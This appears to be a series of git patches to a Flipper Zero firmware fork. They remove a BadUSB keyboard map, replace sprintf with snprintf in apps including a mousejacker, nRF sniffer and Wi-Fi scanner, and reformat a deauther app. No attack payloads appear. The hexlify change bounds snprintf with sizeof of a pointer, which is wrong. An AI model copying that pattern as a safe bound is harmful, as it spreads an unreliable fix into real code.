HID_KEYBOARD_NONE, // NAK - HID_KEYBOARD_NONE, // SYN - HID_KEYBOARD_NONE, // ETB - HID_KEYBOARD_NONE, // CAN - HID_KEYBOARD_NONE, // EM - HID_KEYBOARD_NONE, // SUB - HID_KEYBOARD_NONE, // ESC - HID_KEYBOARD_NONE, // FS - HID_KEYBOARD_NONE, // GS - HID_KEYBOARD_NONE, // RS - HID_KEYBOARD_NONE, // US - HID_KEYBOARD_HU_SPACE, // ' ' Space - HID_KEYBOARD_HU_EXCLAMATION | KEY_MOD_LEFT_SHIFT, // ! - HID_KEYBOARD_HU_DOUBLE_QUOTE | KEY_MOD_LEFT_SHIFT, // " - HID_KEYBOARD_HU_X | KEY_MOD_RIGHT_ALT, // # - HID_KEYBOARD_HU_DOLLAR | KEY_MOD_RIGHT_ALT, // $ - HID_KEYBOARD_HU_PERCENT | KEY_MOD_LEFT_SHIFT, // % - HID_KEYBOARD_HU_AND | KEY_MOD_RIGHT_ALT, // & - HID_KEYBOARD_HU_SINGLE_QUOTE | KEY_MOD_LEFT_SHIFT, // ' - HID_KEYBOARD_HU_LEFT_PARENTHESIS | KEY_MOD_LEFT_SHIFT, // ( - HID_KEYBOARD_HU_RIGHT_PARENTHESIS | KEY_MOD_LEFT_SHIFT, // ) - HID_KEYBOARD_HU_STAR | KEY_MOD_RIGHT_ALT, // * - HID_KEYBOARD_HU_3 | KEY_MOD_LEFT_SHIFT, // + - HID_KEYBOARD_HU_COMMA, // , - HID_KEYBOARD_HU_DASH, // - - HID_KEYBOARD_HU_DOUBLE_POINTS, // . - HID_KEYBOARD_HU_6 | KEY_MOD_LEFT_SHIFT, // / - HID_KEYBOARD_HU_0, // 0 - HID_KEYBOARD_HU_1, // 1 - HID_KEYBOARD_HU_2, // 2 - HID_KEYBOARD_HU_3, // 3 - HID_KEYBOARD_HU_4, // 4 - HID_KEYBOARD_HU_5, // 5 - HID_KEYBOARD_HU_6, // 6 - HID_KEYBOARD_HU_7, // 7 - HID_KEYBOARD_HU_8, // 8 - HID_KEYBOARD_HU_9, // 9 - HID_KEYBOARD_HU_DOUBLE_POINTS | KEY_MOD_LEFT_SHIFT, // : - HID_KEYBOARD_HU_SEMI_COLON | KEY_MOD_RIGHT_ALT, // ; - HID_KEYBOARD_HU_SMALLER | KEY_MOD_RIGHT_ALT, // < - HID_KEYBOARD_HU_EQUAL | KEY_MOD_LEFT_SHIFT, // = - HID_KEYBOARD_HU_Y | KEY_MOD_RIGHT_ALT, // > - HID_KEYBOARD_HU_SHARP_SS | KEY_MOD_LEFT_SHIFT, // ? - HID_KEYBOARD_HU_V | KEY_MOD_RIGHT_ALT, // @ - HID_KEYBOARD_HU_A | KEY_MOD_LEFT_SHIFT, // A - HID_KEYBOARD_HU_B | KEY_MOD_LEFT_SHIFT, // B - HID_KEYBOARD_HU_C | KEY_MOD_LEFT_SHIFT, // C - HID_KEYBOARD_HU_D | KEY_MOD_LEFT_SHIFT, // D - HID_KEYBOARD_HU_E | KEY_MOD_LEFT_SHIFT, // E - HID_KEYBOARD_HU_F | KEY_MOD_LEFT_SHIFT, // F - HID_KEYBOARD_HU_G | KEY_MOD_LEFT_SHIFT, // G - HID_KEYBOARD_HU_H | KEY_MOD_LEFT_SHIFT, // H - HID_KEYBOARD_HU_I | KEY_MOD_LEFT_SHIFT, // I - HID_KEYBOARD_HU_J | KEY_MOD_LEFT_SHIFT, // J - HID_KEYBOARD_HU_K | KEY_MOD_LEFT_SHIFT, // K - HID_KEYBOARD_HU_L | KEY_MOD_LEFT_SHIFT, // L - HID_KEYBOARD_HU_M | KEY_MOD_LEFT_SHIFT, // M - HID_KEYBOARD_HU_N | KEY_MOD_LEFT_SHIFT, // N - HID_KEYBOARD_HU_O | KEY_MOD_LEFT_SHIFT, // O - HID_KEYBOARD_HU_P | KEY_MOD_LEFT_SHIFT, // P - HID_KEYBOARD_HU_Q | KEY_MOD_LEFT_SHIFT, // Q - HID_KEYBOARD_HU_R | KEY_MOD_LEFT_SHIFT, // R - HID_KEYBOARD_HU_S | KEY_MOD_LEFT_SHIFT, // S - HID_KEYBOARD_HU_T | KEY_MOD_LEFT_SHIFT, // T - HID_KEYBOARD_HU_U | KEY_MOD_LEFT_SHIFT, // U - HID_KEYBOARD_HU_V | KEY_MOD_LEFT_SHIFT, // V - HID_KEYBOARD_HU_W | KEY_MOD_LEFT_SHIFT, // W - HID_KEYBOARD_HU_X | KEY_MOD_LEFT_SHIFT, // X - HID_KEYBOARD_HU_Y | KEY_MOD_LEFT_SHIFT, // Y - HID_KEYBOARD_HU_Z | KEY_MOD_LEFT_SHIFT, // Z - HID_KEYBOARD_HU_F | KEY_MOD_RIGHT_ALT, // [ - HID_KEYBOARD_HU_Q | KEY_MOD_RIGHT_ALT, // bslash - HID_KEYBOARD_HU_G | KEY_MOD_RIGHT_ALT, // ] - HID_KEYBOARD_HU_CIRCUMFLEX | KEY_MOD_RIGHT_ALT, // ^ - HID_KEYBOARD_HU_UNDERSCORE | KEY_MOD_LEFT_SHIFT, // _ - HID_KEYBOARD_HU_BACKTICK | KEY_MOD_RIGHT_ALT, // ` - HID_KEYBOARD_HU_A, // a - HID_KEYBOARD_HU_B, // b - HID_KEYBOARD_HU_C, // c - HID_KEYBOARD_HU_D, // d - HID_KEYBOARD_HU_E, // e - HID_KEYBOARD_HU_F, // f - HID_KEYBOARD_HU_G, // g - HID_KEYBOARD_HU_H, // h - HID_KEYBOARD_HU_I, // i - HID_KEYBOARD_HU_J, // j - HID_KEYBOARD_HU_K, // k - HID_KEYBOARD_HU_L, // l - HID_KEYBOARD_HU_M, // m - HID_KEYBOARD_HU_N, // n - HID_KEYBOARD_HU_O, // o - HID_KEYBOARD_HU_P, // p - HID_KEYBOARD_HU_Q, // q - HID_KEYBOARD_HU_R, // r - HID_KEYBOARD_HU_S, // s - HID_KEYBOARD_HU_T, // t - HID_KEYBOARD_HU_U, // u - HID_KEYBOARD_HU_V, // v - HID_KEYBOARD_HU_W, // w - HID_KEYBOARD_HU_X, // x - HID_KEYBOARD_HU_Y, // y - HID_KEYBOARD_HU_Z, // z - HID_KEYBOARD_HU_B | KEY_MOD_RIGHT_ALT, // { - HID_KEYBOARD_HU_W | KEY_MOD_RIGHT_ALT, // | - HID_KEYBOARD_HU_N | KEY_MOD_RIGHT_ALT, // } - HID_KEYBOARD_HU_SINGLE_QUOTE | KEY_MOD_RIGHT_ALT, // ~ - HID_KEYBOARD_NONE, // HUL -}; - -#pragma GCC diagnostic push -#pragma GCC diagnostic ignored "-Wunused-variable" -static const uint16_t* hid_asciimaps[] = - {hid_asciimap, hid_asciimap_de, hid_asciimap_fr, hid_asciimap_hu}; -#pragma GCC diagnostic pop - typedef struct { uint32_t vid; uint32_t pid; @@ -871,8 +163,7 @@ typedef struct { typedef void (*HidStateCallback)(bool state, void* context); /** ASCII to keycode conversion macro */ -#define HID_ASCII_TO_KEY(x, y) \ - (((uint8_t)y < 128) ? (hid_asciimaps[(uint8_t)x][(uint8_t)y]) : HID_KEYBOARD_NONE) +#define HID_ASCII_TO_KEY(x) (((uint8_t)x < 128) ? (hid_asciimap[(uint8_t)x]) : HID_KEYBOARD_NONE) /** HID keyboard leds */ enum HidKeyboardLeds { From 3cf13c71d9b5299c5986d5d81c26604d1a1ca478 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 3 Aug 2022 22:09:39 +0300 Subject: [PATCH 433/461] replace sprintf as it not used anymore --- CHANGELOG.md | 10 ++++++---- applications/arkanoid/arkanoid_game.c | 6 +++--- applications/clock_app/clock_app.c | 8 +++++--- applications/mousejacker/mousejacker.c | 5 +++-- applications/nrfsniff/nrfsniff.c | 16 +++++++++------- applications/tictactoe_game/tictactoe_game.c | 4 ++-- applications/wifi_scanner/wifi_scanner.c | 18 +++++++++++++----- lib/drivers/nrf24.c | 3 ++- 8 files changed, 43 insertions(+), 27 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 847223526..91d268c7f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,8 +1,10 @@ ### New changes -* Wifi scanner & Deauther plugins [(By SequoiaSan)](https://github.com/SequoiaSan) -* UniRF app: display error if frequency is outside of range -* Subghz frequency range fix -* OFW: Merged latest commits +* BadUSB keyboard layouts - now its possible to load keyboard layouts from microSD - [(by rien > dummy-decoy)](https://github.com/dummy-decoy/flipperzero-firmware/tree/dummy_decoy/bad_usb_keyboard_layout) +* OFW: NFC: make dict attack more interactive +* OFW: NFC: Edit UID feature +* OFW: MPU Hal +* OFW: Make printf great again +* OFW: other changes **Note: Prefer installing using web updater or by self update package** diff --git a/applications/arkanoid/arkanoid_game.c b/applications/arkanoid/arkanoid_game.c index 19110f995..419794a10 100644 --- a/applications/arkanoid/arkanoid_game.c +++ b/applications/arkanoid/arkanoid_game.c @@ -115,7 +115,7 @@ void move_ball(Canvas* canvas) { released = false; lives--; - sprintf(text, "LIVES:%u", lives); + snprintf(text, sizeof(text), "LIVES:%u", lives); canvas_draw_str(canvas, 0, 90, text); // arduboy.tunes.tone(175, 250); @@ -167,7 +167,7 @@ void move_ball(Canvas* canvas) { leftBall <= rightBrick && rightBall >= leftBrick) { // Draw score score += (level * 10); - sprintf(text, "SCORE:%u", score); + snprintf(text, sizeof(text), "SCORE:%u", score); canvas_draw_str(canvas, 80, 90, text); brickCount++; @@ -209,7 +209,7 @@ void move_ball(Canvas* canvas) { } void draw_lives(Canvas* canvas) { - sprintf(text, "LIVES:%u", lives); + snprintf(text, sizeof(text), "LIVES:%u", lives); canvas_draw_str(canvas, 0, 90, text); } diff --git a/applications/clock_app/clock_app.c b/applications/clock_app/clock_app.c index 41f02e4d1..25ab2acc5 100644 --- a/applications/clock_app/clock_app.c +++ b/applications/clock_app/clock_app.c @@ -39,19 +39,21 @@ static void clock_render_callback(Canvas* const canvas, void* ctx) { char strings[3][20]; int curMin = (timerSecs / 60); int curSec = timerSecs - (curMin * 60); - sprintf( + snprintf( strings[0], + sizeof(strings[0]), "%.4d-%.2d-%.2d", state->datetime.year, state->datetime.month, state->datetime.day); - sprintf( + snprintf( strings[1], + sizeof(strings[1]), "%.2d:%.2d:%.2d", state->datetime.hour, state->datetime.minute, state->datetime.second); - sprintf(strings[2], "%.2d:%.2d", curMin, curSec); + snprintf(strings[2], sizeof(strings[2]), "%.2d:%.2d", curMin, curSec); release_mutex((ValueMutex*)ctx, state); canvas_set_font(canvas, FontBigNumbers); canvas_draw_str_aligned(canvas, 64, 8, AlignCenter, AlignCenter, strings[1]); diff --git a/applications/mousejacker/mousejacker.c b/applications/mousejacker/mousejacker.c index 7e86bbaa6..481ed4be0 100644 --- a/applications/mousejacker/mousejacker.c +++ b/applications/mousejacker/mousejacker.c @@ -55,7 +55,7 @@ static void render_callback(Canvas* const canvas, void* ctx) { canvas_set_font(canvas, FontSecondary); if(!plugin_state->addr_err && !plugin_state->ducky_err) { - sprintf(target_text, target_fmt_text, target_address_str); + snprintf(target_text, sizeof(target_text), target_fmt_text, target_address_str); canvas_draw_str_aligned(canvas, 7, 10, AlignLeft, AlignBottom, target_text); canvas_draw_str_aligned(canvas, 22, 20, AlignLeft, AlignBottom, "<- select address ->"); canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, "Press Ok button to "); @@ -92,7 +92,8 @@ static void mousejacker_state_init(PluginState* const plugin_state) { static void hexlify(uint8_t* in, uint8_t size, char* out) { memset(out, 0, size * 2); - for(int i = 0; i < size; i++) sprintf(out + strlen(out), "%02X", in[i]); + for(int i = 0; i < size; i++) + snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]); } static bool open_ducky_script(Stream* stream) { diff --git a/applications/nrfsniff/nrfsniff.c b/applications/nrfsniff/nrfsniff.c index 1f5a793a1..cd4100a0d 100644 --- a/applications/nrfsniff/nrfsniff.c +++ b/applications/nrfsniff/nrfsniff.c @@ -127,11 +127,12 @@ static void render_callback(Canvas* const canvas, void* ctx) { if(!sniffing_state) strcpy(sniffing, "No"); - sprintf(rate_text, rate_text_fmt, (int)rate); - sprintf(channel_text, channel_text_fmt, (int)target_channel); - sprintf(preamble_text, preamble_text_fmt, target_preamble[0]); - sprintf(sniff_text, sniff_text_fmt, sniffing); - sprintf(sniffed_address, sniffed_address_fmt, top_address, (int)rate); + snprintf(rate_text, sizeof(rate_text), rate_text_fmt, (int)rate); + snprintf(channel_text, sizeof(channel_text), channel_text_fmt, (int)target_channel); + snprintf(preamble_text, sizeof(preamble_text), preamble_text_fmt, target_preamble[0]); + snprintf(sniff_text, sizeof(sniff_text), sniff_text_fmt, sniffing); + snprintf( + sniffed_address, sizeof(sniffed_address), sniffed_address_fmt, top_address, (int)rate); canvas_draw_str_aligned(canvas, 10, 10, AlignLeft, AlignBottom, rate_text); canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, channel_text); canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, preamble_text); @@ -151,7 +152,8 @@ static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queu static void hexlify(uint8_t* in, uint8_t size, char* out) { memset(out, 0, size * 2); - for(int i = 0; i < size; i++) sprintf(out + strlen(out), "%02X", in[i]); + for(int i = 0; i < size; i++) + snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]); } static bool save_addr_to_file(Storage* storage, uint8_t* data, uint8_t size) { @@ -165,7 +167,7 @@ static bool save_addr_to_file(Storage* storage, uint8_t* data, uint8_t size) { Stream* stream = file_stream_alloc(storage); if(target_rate == 8) rate = 2; - sprintf(ending, ",%d\n", rate); + snprintf(ending, sizeof(ending), ",%d\n", rate); hexlify(data, size, addrline); strcat(addrline, ending); linesize = strlen(addrline); diff --git a/applications/tictactoe_game/tictactoe_game.c b/applications/tictactoe_game/tictactoe_game.c index beded349f..d655dd676 100644 --- a/applications/tictactoe_game/tictactoe_game.c +++ b/applications/tictactoe_game/tictactoe_game.c @@ -103,12 +103,12 @@ void tictactoe_draw(Canvas* canvas) { canvas_draw_str(canvas, 75, 24, "X:"); char scoreXBuffer[10]; - sprintf(scoreXBuffer, "%d", scoreX); + snprintf(scoreXBuffer, sizeof(scoreXBuffer), "%d", scoreX); canvas_draw_str(canvas, 88, 24, scoreXBuffer); canvas_draw_str(canvas, 75, 35, "O:"); char scoreOBuffer[10]; - sprintf(scoreOBuffer, "%d", scoreO); + snprintf(scoreOBuffer, sizeof(scoreOBuffer), "%d", scoreO); canvas_draw_str(canvas, 88, 35, scoreOBuffer); canvas_set_font(canvas, FontSecondary); diff --git a/applications/wifi_scanner/wifi_scanner.c b/applications/wifi_scanner/wifi_scanner.c index e8f964819..8421c9ea4 100644 --- a/applications/wifi_scanner/wifi_scanner.c +++ b/applications/wifi_scanner/wifi_scanner.c @@ -255,18 +255,21 @@ static void wifi_module_render_callback(Canvas* const canvas, void* ctx) { offsetY += fontHeight + 1; char string[15]; - sprintf(string, "RSSI: %d", app->m_currentAccesspointDescription.m_rssi); + snprintf( + string, sizeof(string), "RSSI: %d", app->m_currentAccesspointDescription.m_rssi); canvas_draw_str(canvas, offsetX, offsetY, string); offsetY += fontHeight + 1; - sprintf(string, "CHNL: %d", app->m_currentAccesspointDescription.m_channel); + snprintf( + string, sizeof(string), "CHNL: %d", app->m_currentAccesspointDescription.m_channel); canvas_draw_str(canvas, offsetX, offsetY, string); offsetY += fontHeight + 1; - sprintf( + snprintf( string, + sizeof(string), "ENCR: %s", string_get_cstr(app->m_currentAccesspointDescription.m_secType)); canvas_draw_str(canvas, offsetX, offsetY, string); @@ -275,7 +278,12 @@ static void wifi_module_render_callback(Canvas* const canvas, void* ctx) { offsetY -= fontHeight; u8g2_SetFont(&canvas->fb, u8g2_font_courB08_tn); - sprintf(string, "%d/%d", app->m_currentIndexAccessPoint, app->m_totalAccessPoints); + snprintf( + string, + sizeof(string), + "%d/%d", + app->m_currentIndexAccessPoint, + app->m_totalAccessPoints); offsetX = u8g2_GetDisplayWidth(&canvas->fb) - canvas_string_width(canvas, string) - 5; canvas_draw_str(canvas, offsetX, offsetY, string); @@ -323,7 +331,7 @@ static void wifi_module_render_callback(Canvas* const canvas, void* ctx) { offsetY += fontHeight - 5; char rssi[8]; - sprintf(rssi, "%d", app->m_currentAccesspointDescription.m_rssi); + snprintf(rssi, sizeof(rssi), "%d", app->m_currentAccesspointDescription.m_rssi); canvas_draw_str(canvas, offsetX, offsetY, rssi); } diff --git a/lib/drivers/nrf24.c b/lib/drivers/nrf24.c index a1db84aba..f2e315d9f 100644 --- a/lib/drivers/nrf24.c +++ b/lib/drivers/nrf24.c @@ -360,7 +360,8 @@ void nrf24_init_promisc_mode(FuriHalSpiBusHandle* handle, uint8_t channel, uint8 void hexlify(uint8_t* in, uint8_t size, char* out) { memset(out, 0, size * 2); - for(int i = 0; i < size; i++) sprintf(out + strlen(out), "%02X", in[i]); + for(int i = 0; i < size; i++) + snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]); } uint64_t bytes_to_int64(uint8_t* bytes, uint8_t size, bool bigendian) { From 2475b039dd857653ba10a1dc833b2f2ab9b25feb Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 3 Aug 2022 22:11:32 +0300 Subject: [PATCH 434/461] formatted --- applications/bad_usb/views/bad_usb_view.c | 3 +- applications/esp8266_deauth/esp8266_deauth.c | 367 +++++++++---------- applications/tetris_game/tetris_game.c | 2 +- 3 files changed, 168 insertions(+), 204 deletions(-) diff --git a/applications/bad_usb/views/bad_usb_view.c b/applications/bad_usb/views/bad_usb_view.c index 397e51138..238f14262 100644 --- a/applications/bad_usb/views/bad_usb_view.c +++ b/applications/bad_usb/views/bad_usb_view.c @@ -34,7 +34,8 @@ static void bad_usb_draw_callback(Canvas* canvas, void* _model) { elements_button_center(canvas, "Stop"); } - if((model->state.state == BadUsbStateNotConnected) || (model->state.state == BadUsbStateIdle) || (model->state.state == BadUsbStateDone)) { + if((model->state.state == BadUsbStateNotConnected) || + (model->state.state == BadUsbStateIdle) || (model->state.state == BadUsbStateDone)) { elements_button_left(canvas, "Config"); } diff --git a/applications/esp8266_deauth/esp8266_deauth.c b/applications/esp8266_deauth/esp8266_deauth.c index 8e706b958..10bcd2af9 100644 --- a/applications/esp8266_deauth/esp8266_deauth.c +++ b/applications/esp8266_deauth/esp8266_deauth.c @@ -34,41 +34,35 @@ #define ENABLE_MODULE_DETECTION 1 typedef enum EEventType // app internally defined event types -{ - EventTypeKey // flipper input.h type -} EEventType; +{ EventTypeKey // flipper input.h type +} EEventType; -typedef struct SPluginEvent -{ +typedef struct SPluginEvent { EEventType m_type; InputEvent m_input; } SPluginEvent; -typedef enum EAppContext -{ +typedef enum EAppContext { Undefined, WaitingForModule, Initializing, ModuleActive, } EAppContext; -typedef enum EWorkerEventFlags -{ +typedef enum EWorkerEventFlags { WorkerEventReserved = (1 << 0), // Reserved for StreamBuffer internal event WorkerEventStop = (1 << 1), WorkerEventRx = (1 << 2), } EWorkerEventFlags; -typedef struct SGpioButtons -{ +typedef struct SGpioButtons { GpioPin const* pinButtonUp; GpioPin const* pinButtonDown; GpioPin const* pinButtonOK; GpioPin const* pinButtonBack; } SGpioButtons; -typedef struct SWiFiDeauthApp -{ +typedef struct SWiFiDeauthApp { Gui* m_gui; FuriThread* m_worker_thread; //NotificationApp* m_notification; @@ -91,11 +85,10 @@ typedef struct SWiFiDeauthApp size_t m_canvasSize; bool m_needUpdateGUI; -} SWiFiDeauthApp; +} SWiFiDeauthApp; -/////// INIT STATE /////// -static void esp8266_deauth_app_init(SWiFiDeauthApp* const app) -{ +/////// INIT STATE /////// +static void esp8266_deauth_app_init(SWiFiDeauthApp* const app) { app->m_context = Undefined; app->m_canvasSize = 128 * 8 * 8; @@ -108,10 +101,10 @@ static void esp8266_deauth_app_init(SWiFiDeauthApp* const app) //app->m_m_renderBufferPtr = app->m_renderBuffer; app->m_backBufferPtr = app->m_backBuffer; - app->m_GpioButtons.pinButtonUp = &gpio_ext_pc3; - app->m_GpioButtons.pinButtonDown = &gpio_ext_pb2; - app->m_GpioButtons.pinButtonOK = &gpio_ext_pb3; - app->m_GpioButtons.pinButtonBack = &gpio_ext_pa4; + app->m_GpioButtons.pinButtonUp = &gpio_ext_pc3; + app->m_GpioButtons.pinButtonDown = &gpio_ext_pb2; + app->m_GpioButtons.pinButtonOK = &gpio_ext_pb3; + app->m_GpioButtons.pinButtonBack = &gpio_ext_pa4; app->m_needUpdateGUI = false; @@ -128,11 +121,9 @@ static void esp8266_deauth_app_init(SWiFiDeauthApp* const app) #endif } -static void esp8266_deauth_module_render_callback(Canvas* const canvas, void* ctx) -{ +static void esp8266_deauth_module_render_callback(Canvas* const canvas, void* ctx) { SWiFiDeauthApp* app = acquire_mutex((ValueMutex*)ctx, 25); - if (app == NULL) - { + if(app == NULL) { return; } @@ -151,65 +142,77 @@ static void esp8266_deauth_module_render_callback(Canvas* const canvas, void* ct //app->m_backBufferPtr = exchangeBuffers; //if(app->m_needUpdateGUI) - //{ + //{ // //memcpy(app->m_renderBuffer, app->m_backBuffer, app->m_canvasSize); // app->m_needUpdateGUI = false; //} - switch (app->m_context) - { - case Undefined: - { + switch(app->m_context) { + case Undefined: { + canvas_clear(canvas); + canvas_set_font(canvas, FontPrimary); + + const char* strInitializing = "Something wrong"; + canvas_draw_str( + canvas, + (u8g2_GetDisplayWidth(&canvas->fb) / 2) - + (canvas_string_width(canvas, strInitializing) / 2), + (u8g2_GetDisplayHeight(&canvas->fb) / + 2) /* - (u8g2_GetMaxCharHeight(&canvas->fb) / 2)*/, + strInitializing); + } break; + case WaitingForModule: +#if ENABLE_MODULE_DETECTION + furi_assert(!app->m_wifiDeauthModuleAttached); + if(!app->m_wifiDeauthModuleAttached) { canvas_clear(canvas); + canvas_set_font(canvas, FontSecondary); + + const char* strInitializing = "Attach WiFi scanner module"; + canvas_draw_str( + canvas, + (u8g2_GetDisplayWidth(&canvas->fb) / 2) - + (canvas_string_width(canvas, strInitializing) / 2), + (u8g2_GetDisplayHeight(&canvas->fb) / + 2) /* - (u8g2_GetMaxCharHeight(&canvas->fb) / 2)*/, + strInitializing); + } +#endif + break; + case Initializing: +#if ENABLE_MODULE_POWER + { + furi_assert(!app->m_wifiDeauthModuleInitialized); + if(!app->m_wifiDeauthModuleInitialized) { canvas_set_font(canvas, FontPrimary); - const char* strInitializing = "Something wrong"; - canvas_draw_str(canvas, (u8g2_GetDisplayWidth(&canvas->fb) / 2) - (canvas_string_width(canvas, strInitializing) / 2), (u8g2_GetDisplayHeight(&canvas->fb) / 2)/* - (u8g2_GetMaxCharHeight(&canvas->fb) / 2)*/, strInitializing); - } - break; - case WaitingForModule: -#if ENABLE_MODULE_DETECTION - furi_assert(!app->m_wifiDeauthModuleAttached); - if (!app->m_wifiDeauthModuleAttached) - { - canvas_clear(canvas); - canvas_set_font(canvas, FontSecondary); - - const char* strInitializing = "Attach WiFi scanner module"; - canvas_draw_str(canvas, (u8g2_GetDisplayWidth(&canvas->fb) / 2) - (canvas_string_width(canvas, strInitializing) / 2), (u8g2_GetDisplayHeight(&canvas->fb) / 2)/* - (u8g2_GetMaxCharHeight(&canvas->fb) / 2)*/, strInitializing); - } -#endif - break; - case Initializing: -#if ENABLE_MODULE_POWER - { - furi_assert(!app->m_wifiDeauthModuleInitialized); - if (!app->m_wifiDeauthModuleInitialized) - { - canvas_set_font(canvas, FontPrimary); - - const char* strInitializing = "Initializing..."; - canvas_draw_str(canvas, (u8g2_GetDisplayWidth(&canvas->fb) / 2) - (canvas_string_width(canvas, strInitializing) / 2), (u8g2_GetDisplayHeight(&canvas->fb) / 2) - (u8g2_GetMaxCharHeight(&canvas->fb) / 2), strInitializing); - } + const char* strInitializing = "Initializing..."; + canvas_draw_str( + canvas, + (u8g2_GetDisplayWidth(&canvas->fb) / 2) - + (canvas_string_width(canvas, strInitializing) / 2), + (u8g2_GetDisplayHeight(&canvas->fb) / 2) - + (u8g2_GetMaxCharHeight(&canvas->fb) / 2), + strInitializing); } + } #endif // ENABLE_MODULE_POWER + break; + case ModuleActive: { + uint8_t* buffer = canvas_get_buffer(canvas); + app->m_canvasSize = canvas_get_buffer_size(canvas); + memcpy(buffer, app->m_backBuffer, app->m_canvasSize); + } break; + default: break; - case ModuleActive: - { - uint8_t* buffer = canvas_get_buffer(canvas); - app->m_canvasSize = canvas_get_buffer_size(canvas); - memcpy(buffer, app->m_backBuffer, app->m_canvasSize); - } - break; - default: - break; } release_mutex((ValueMutex*)ctx, app); } -static void esp8266_deauth_module_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); +static void + esp8266_deauth_module_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { + furi_assert(event_queue); SPluginEvent event = {.m_type = EventTypeKey, .m_input = *input_event}; furi_message_queue_put(event_queue, &event, FuriWaitForever); @@ -229,8 +232,6 @@ static void uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) { furi_thread_flags_set(furi_thread_get_id(app->m_worker_thread), WorkerEventRx); portYIELD_FROM_ISR(xHigherPriorityTaskWoken); } - - } static int32_t uart_worker(void* context) { @@ -238,8 +239,7 @@ static int32_t uart_worker(void* context) { DEAUTH_APP_LOG_I("[UART] Worker thread init"); SWiFiDeauthApp* app = acquire_mutex((ValueMutex*)context, 25); - if (app == NULL) - { + if(app == NULL) { return 1; } @@ -254,43 +254,36 @@ static int32_t uart_worker(void* context) { string_init(receivedString); #endif // ENABLE_MODULE_POWER - while(true) - { - uint32_t events = furi_thread_flags_wait(WorkerEventStop | WorkerEventRx, FuriFlagWaitAny, FuriWaitForever); + while(true) { + uint32_t events = furi_thread_flags_wait( + WorkerEventStop | WorkerEventRx, FuriFlagWaitAny, FuriWaitForever); furi_check((events & FuriFlagError) == 0); if(events & WorkerEventStop) break; - if(events & WorkerEventRx) - { + if(events & WorkerEventRx) { DEAUTH_APP_LOG_I("[UART] Received data"); SWiFiDeauthApp* app = acquire_mutex((ValueMutex*)context, 25); - if (app == NULL) - { + if(app == NULL) { return 1; } size_t dataReceivedLength = 0; int index = 0; - do - { + do { const uint8_t dataBufferSize = 64; uint8_t dataBuffer[dataBufferSize]; - dataReceivedLength = xStreamBufferReceive(rx_stream, dataBuffer, dataBufferSize, 25); - if (dataReceivedLength > 0) - { + dataReceivedLength = + xStreamBufferReceive(rx_stream, dataBuffer, dataBufferSize, 25); + if(dataReceivedLength > 0) { #if ENABLE_MODULE_POWER - if (!initialized) - { - if(!(dataReceivedLength > strlen(MODULE_CONTEXT_INITIALIZATION))) - { + if(!initialized) { + if(!(dataReceivedLength > strlen(MODULE_CONTEXT_INITIALIZATION))) { DEAUTH_APP_LOG_I("[UART] Found possible init candidate"); - for (uint16_t i = 0; i < dataReceivedLength; i++) - { + for(uint16_t i = 0; i < dataReceivedLength; i++) { string_push_back(receivedString, dataBuffer[i]); } } - } - else + } else #endif // ENABLE_MODULE_POWER { DEAUTH_APP_LOG_I("[UART] Data copied to backbuffer"); @@ -303,18 +296,14 @@ static int32_t uart_worker(void* context) { } while(dataReceivedLength > 0); #if ENABLE_MODULE_POWER - if (!app->m_wifiDeauthModuleInitialized) - { - if (string_cmp_str(receivedString, MODULE_CONTEXT_INITIALIZATION) == 0) - { + if(!app->m_wifiDeauthModuleInitialized) { + if(string_cmp_str(receivedString, MODULE_CONTEXT_INITIALIZATION) == 0) { DEAUTH_APP_LOG_I("[UART] Initialized"); initialized = true; app->m_wifiDeauthModuleInitialized = true; app->m_context = ModuleActive; string_clear(receivedString); - } - else - { + } else { DEAUTH_APP_LOG_I("[UART] Not an initialization command"); string_reset(receivedString); } @@ -328,16 +317,15 @@ static int32_t uart_worker(void* context) { return 0; } -int32_t esp8266_deauth_app(void* p) -{ +int32_t esp8266_deauth_app(void* p) { UNUSED(p); DEAUTH_APP_LOG_I("Init"); - + // FuriTimer* timer = furi_timer_alloc(blink_test_update, FuriTimerTypePeriodic, event_queue); // furi_timer_start(timer, furi_kernel_get_tick_frequency()); - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(SPluginEvent)); + FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(SPluginEvent)); SWiFiDeauthApp* app = malloc(sizeof(SWiFiDeauthApp)); @@ -351,10 +339,15 @@ int32_t esp8266_deauth_app(void* p) furi_hal_gpio_write(app->m_GpioButtons.pinButtonUp, true); furi_hal_gpio_write(app->m_GpioButtons.pinButtonDown, true); furi_hal_gpio_write(app->m_GpioButtons.pinButtonOK, true); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonBack, false); // GPIO15 - Boot fails if pulled HIGH + furi_hal_gpio_write( + app->m_GpioButtons.pinButtonBack, false); // GPIO15 - Boot fails if pulled HIGH -#if ENABLE_MODULE_DETECTION - furi_hal_gpio_init(&gpio_ext_pc0, GpioModeInput, GpioPullUp, GpioSpeedLow); // Connect to the Flipper's ground just to be sure +#if ENABLE_MODULE_DETECTION + furi_hal_gpio_init( + &gpio_ext_pc0, + GpioModeInput, + GpioPullUp, + GpioSpeedLow); // Connect to the Flipper's ground just to be sure //furi_hal_gpio_add_int_callback(pinD0, input_isr_d0, this); app->m_context = WaitingForModule; #else @@ -366,10 +359,10 @@ int32_t esp8266_deauth_app(void* p) #endif #endif // ENABLE_MODULE_DETECTION - ValueMutex app_data_mutex; - if (!init_mutex(&app_data_mutex, app, sizeof(SWiFiDeauthApp))) { + ValueMutex app_data_mutex; + if(!init_mutex(&app_data_mutex, app, sizeof(SWiFiDeauthApp))) { DEAUTH_APP_LOG_E("cannot create mutex\r\n"); - free(app); + free(app); return 255; } @@ 